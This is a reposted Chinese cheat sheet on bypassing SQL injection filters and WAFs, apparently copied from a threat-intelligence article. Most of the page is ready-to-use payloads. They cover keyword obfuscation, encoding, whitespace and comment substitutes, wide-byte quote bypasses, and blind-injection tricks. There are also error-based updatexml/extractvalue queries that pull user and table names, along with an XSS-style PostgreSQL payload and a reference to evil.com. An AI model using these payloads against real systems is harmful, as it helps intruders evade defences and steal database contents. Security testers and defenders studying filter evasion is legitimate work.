ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql注入绕过速查表

2021-06-21 15:35:00  阅读:184  来源: 互联网

标签:速查表 过滤 user && sql 绕过 id select


原文:https://x.threatbook.cn/v5/article?threatInfoID=836

直接复制过来的,记录学习一下

过滤and or

or ——> ||and ——> &&xor ——> | not ——> !十六进制绕过or ——> o\x72大小写绕过OraNd双写绕过oorrananddurlencode,ascii(char),hex,unicode编码绕过 一些unicode编码举例: 单引号:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7关键字内联注释尝试绕所有/*!or*//*!and*/

左括号过滤

urlencode,ascii(char),hex,unicode编码绕过%u0028 %uff08%c0%28 %c0%a8%e0%80%a8

右括号过滤

urlencode,ascii(char),hex,unicode编码绕过%u0029 %uff09%c0%29 %c0%a9%e0%80%a9

过滤union\select

逻辑绕过例:过滤代码 union select user,password from users绕过方式 1 && (select user from users where userid=1)='admin'十六进制字符绕过select ——> selec\x74union——>unio\x6e大小写绕过SelEct双写绕过selselectectuniuniononurlencode,ascii(char),hex,unicode编码绕过关键字内联绕所有/*!union*//*!select*/

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()绕过空格注释符绕过//--%20/**/#--+-- -;%00;空白字符绕过SQLite3 —— 0A,0D,0c,09,20MYSQL 09,0A,0B,0B,0D,A0,20PosgressSQL 0A,0D,0C,09,20Oracle_11g 00,0A,0D,0C,09,20MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20特殊符号绕过 ` + !等科学计数法绕过 例: select user,password from users where user_id0e1union select 1,2unicode编码 %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0

过滤=

?id=1' or 1 like 1#可以绕过对 = > 等过滤or '1' IN ('1234')#可以替代=

过滤比较符<>

select*fromuserswhereid=1and ascii(substr(database(),0,1))>64select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

过滤where

逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1绕过方式 1 && substr(user,1,1) = 'a'

过滤’(单引号)

逻辑绕过waf = 'and|or|union|where|limit|group by|select|\''过滤代码 1 && substr(user,1,1) = 'a'绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)宽字节绕过%bf%27 %df%27 %aa%27

过滤逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:selectsubstr(database(0from1for1);selectmid(database(0from1for1);对于limit可以使用offset来绕过:select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0

过滤hex

逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 绕过方式 1 && lpad(user(),1,1) in 'r'

编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等价函数或变量

hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1), 0x69) = 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1

生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))and extractvalue(1, concat(0x5c, (select user()),0x5c))

\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE绕过

PHP 的 pcre.backtrack_limit 限制利用union/*aaaaaaaxN*/select

标签:速查表,过滤,user,&&,sql,绕过,id,select
来源: https://www.cnblogs.com/tankcz/p/14913589.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有